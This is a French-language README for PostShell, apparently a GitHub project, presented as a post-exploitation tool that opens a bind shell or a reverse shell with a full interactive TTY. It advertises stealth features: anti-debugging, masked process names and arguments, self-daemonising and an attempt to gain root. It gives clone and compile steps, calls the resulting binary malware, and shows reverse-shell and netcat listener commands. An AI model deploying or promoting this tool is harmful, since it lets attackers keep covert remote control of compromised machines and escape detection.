PostShell

PostShell est un shell de post-exploitation qui inclut à la fois un shell bind et un shell de back connect. Il crée un TTY entièrement interactif permettant le contrôle des tâches. La taille du stub est d'environ 14 Ko et peut être compilé sur tout système de type Unix.

Captures d'écran

Bannière et interaction avec le shell après le démarrage d'une connexion.

Pourquoi ne pas utiliser un shell Backconnect/Bind traditionnel ?

PostShell permet une post-exploitation plus facile en rendant l'attaquant moins dépendant de dépendances telles que Python et Perl. Il intègre également à la fois un shell de back connect et un shell bind, ce qui signifie que si une cible n'autorise pas les connexions sortantes, un opérateur peut simplement démarrer un shell bind et se connecter à la machine à distance. PostShell est également nettement moins suspect qu'un shell traditionnel car le nom des processus et les arguments sont tous deux masqués.

Fonctionnalités

• Anti-Débogage, si ptrace est détecté comme étant attaché au shell, il se ferme.
• Les noms de processus/noms de threads sont masqués, un faux nom écrase tous les arguments système et le nom du fichier pour donner l'impression d'un programme légitime.
• TTY, un TTY est créé qui permet essentiellement la même utilisation de la machine que si vous étiez connecté via SSH.
• Shell Bind/Backconnect, à la fois un shell bind et un back connect peuvent être créés.
• Petite taille du stub, un très petit stub (<14 Ko) est généralement généré.
• Se démonifie automatiquement
• Tente de définir GUID/UID à 0 (root)

Pour commencer

1. Téléchargement : git clone https://github.com/rek7/postshell
2. Compilation : cd postshell && sh compile.sh Cela devrait créer un binaire appelé "stub" qui est le logiciel malveillant.

Commandes

$ ./stub
Bind Shell Usage: ./stub port
Back Connect Usage: ./stub ip port
$

Exemple d'utilisation

Backconnect :

$ ./stub 127.0.0.1 13377

Shell Bind :

$ ./stub 13377

Recevoir une connexion avec Netcat

Réception d'un backconnect :

$ nc -vlp port

Connexion à un shell Bind :

$ nc host port

À faire :

• Ajouter la résolution de domaine